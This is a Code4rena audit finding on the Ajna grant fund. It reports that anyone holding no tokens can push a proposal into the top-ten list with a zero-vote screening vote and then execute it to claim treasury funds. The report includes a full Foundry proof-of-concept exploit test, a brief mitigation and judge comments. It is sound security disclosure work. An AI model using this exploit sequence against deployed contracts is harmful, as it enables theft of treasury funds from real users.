Platform: Code4rena
Start Date: 03/05/2023
Pot Size: $60,500 USDC
Total HM: 25
Participants: 114
Period: 8 days
Judge: Picodes
Total Solo HM: 6
Id: 234
League: ETH
Rank: 60/114
Findings: 1
Award: $71.33
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: hyh
Also found by: Jiamin, Juntao, aashar, bytes032, circlelooper, mrpathfindr
71.327 USDC - $71.33
If the topTenProposals
array is less than 10 in a particular distribution period, anyone(even non-holders of ajna token) can add their own proposal, vote for it(with 0 value) and it will be included in the topTenProposals
array.
And then when the said time has elapsed they can just claim the proposed amount easily.
This might be a high depending on the likelihood of such an event happening.
Suppose let's assume there are a total of 5 proposals for the first distribution period. 4 proposals are from different token holders. Then comes bob, who doesn't hold any ajna tokens but yet he submits a proposal.
After submitting, bob votes for his proposal with value 0. And since, the array length of topTenProposals
is still less than 10, it gets added to the array.
Now, assume that there aren't any more proposals and the topTenProposals
array length stays under 10.
If such a case occurs, Bob's proposal stays in the array and he can claim his proposed amount after the said time has elapsed.
Here's a coded POC:-
function testPassScreeningWithoutVotes() external{ _selfDelegateVoters(_token, _votersArr); vm.roll(_startBlock + 100); _startDistributionPeriod(_grantFund); uint24 distributionId = _grantFund.getDistributionId(); vm.roll(_startBlock + 200); address bob = makeAddr('BobTheAttacker'); // Assume there are 5 proposals. 4 proposals that are added by 4 different tokenHolders and one fake proposal added by attacker bob. TestProposalParams[] memory testProposalParams = new TestProposalParams[](5); testProposalParams[0] = TestProposalParams(_tokenHolder1, 1_000_000 * 1e18); testProposalParams[1] = TestProposalParams(_tokenHolder2, 2_000_000 * 1e18); testProposalParams[2] = TestProposalParams(_tokenHolder3, 3_000_000 * 1e18); testProposalParams[3] = TestProposalParams(_tokenHolder4, 1_000_000 * 1e18); testProposalParams[4] = TestProposalParams(bob, 8_000_000 * 1e18); TestProposal[] memory testProposals = _createNProposals(_grantFund, _token, testProposalParams); // all the valid proposals gets some votes _screeningVote(_grantFund, _tokenHolder1, testProposals[0].proposalId, _getScreeningVotes(_grantFund, _tokenHolder1)); _screeningVote(_grantFund, _tokenHolder2, testProposals[1].proposalId, _getScreeningVotes(_grantFund, _tokenHolder2)); _screeningVote(_grantFund, _tokenHolder3, testProposals[2].proposalId, _getScreeningVotes(_grantFund, _tokenHolder3)); _screeningVote(_grantFund, _tokenHolder4, testProposals[3].proposalId, _getScreeningVotes(_grantFund, _tokenHolder4)); // bob finds that he can get into the topTenProposals(since there are only 4 proposals) and get to the next stage // he calls the screeningVote() with 0 votes and his proposal Id IStandardFunding.ScreeningVoteParams[] memory screeningVoteParamsBob = new IStandardFunding.ScreeningVoteParams[](1); screeningVoteParamsBob[0] = IStandardFunding.ScreeningVoteParams({ proposalId: testProposals[4].proposalId, votes: 0 }); uint256 screeningVotesCast = _grantFund.screeningVotesCast(distributionId, bob); assertEq(screeningVotesCast, 0); _screeningVote(_grantFund, screeningVoteParamsBob, bob); // finally we check if bob's proposal was indeed added to the topTenProposals uint256[] memory topTenProps = _grantFund.getTopTenProposals(distributionId); assertEq(topTenProps[4], testProposals[4].proposalId); vm.roll(_startBlock + 650_000); uint256[] memory potentialProposalSlate = new uint256[](1); potentialProposalSlate[0] = testProposals[4].proposalId; changePrank(bob); bool proposalSlateUpdated = _grantFund.updateSlate(potentialProposalSlate, distributionId); assertTrue(proposalSlateUpdated); vm.roll(_startBlock + 700_000); uint256 beforeBalanceBob = _token.balanceOf(bob); assertEq(beforeBalanceBob, 0); // execute bobs proposal changePrank(bob); _grantFund.executeStandard(testProposals[4].targets, testProposals[4].values, testProposals[4].calldatas, keccak256(bytes( testProposals[4].description))); // Bob gets his proposed amount without even holding a single ajna token uint256 AfterBalanceBob = _token.balanceOf(bob); assertEq(AfterBalanceBob, 8_000_000 * 1e18); }
Foundry
There are two problems here:
1.Non ajna token holders can vote.
2.Proposal being included in the topTenProposals
even if there is litterally no vote for it(if the array length is less than 10).
To mitigate the first issue, just validate the votes field to not include 0 value. And for the second problem - I couldn't find a perfect mitigation for it.
Invalid Validation
#0 - c4-judge
2023-05-18T17:59:26Z
Picodes marked the issue as duplicate of #465
#1 - c4-judge
2023-05-30T20:13:08Z
Picodes marked the issue as satisfactory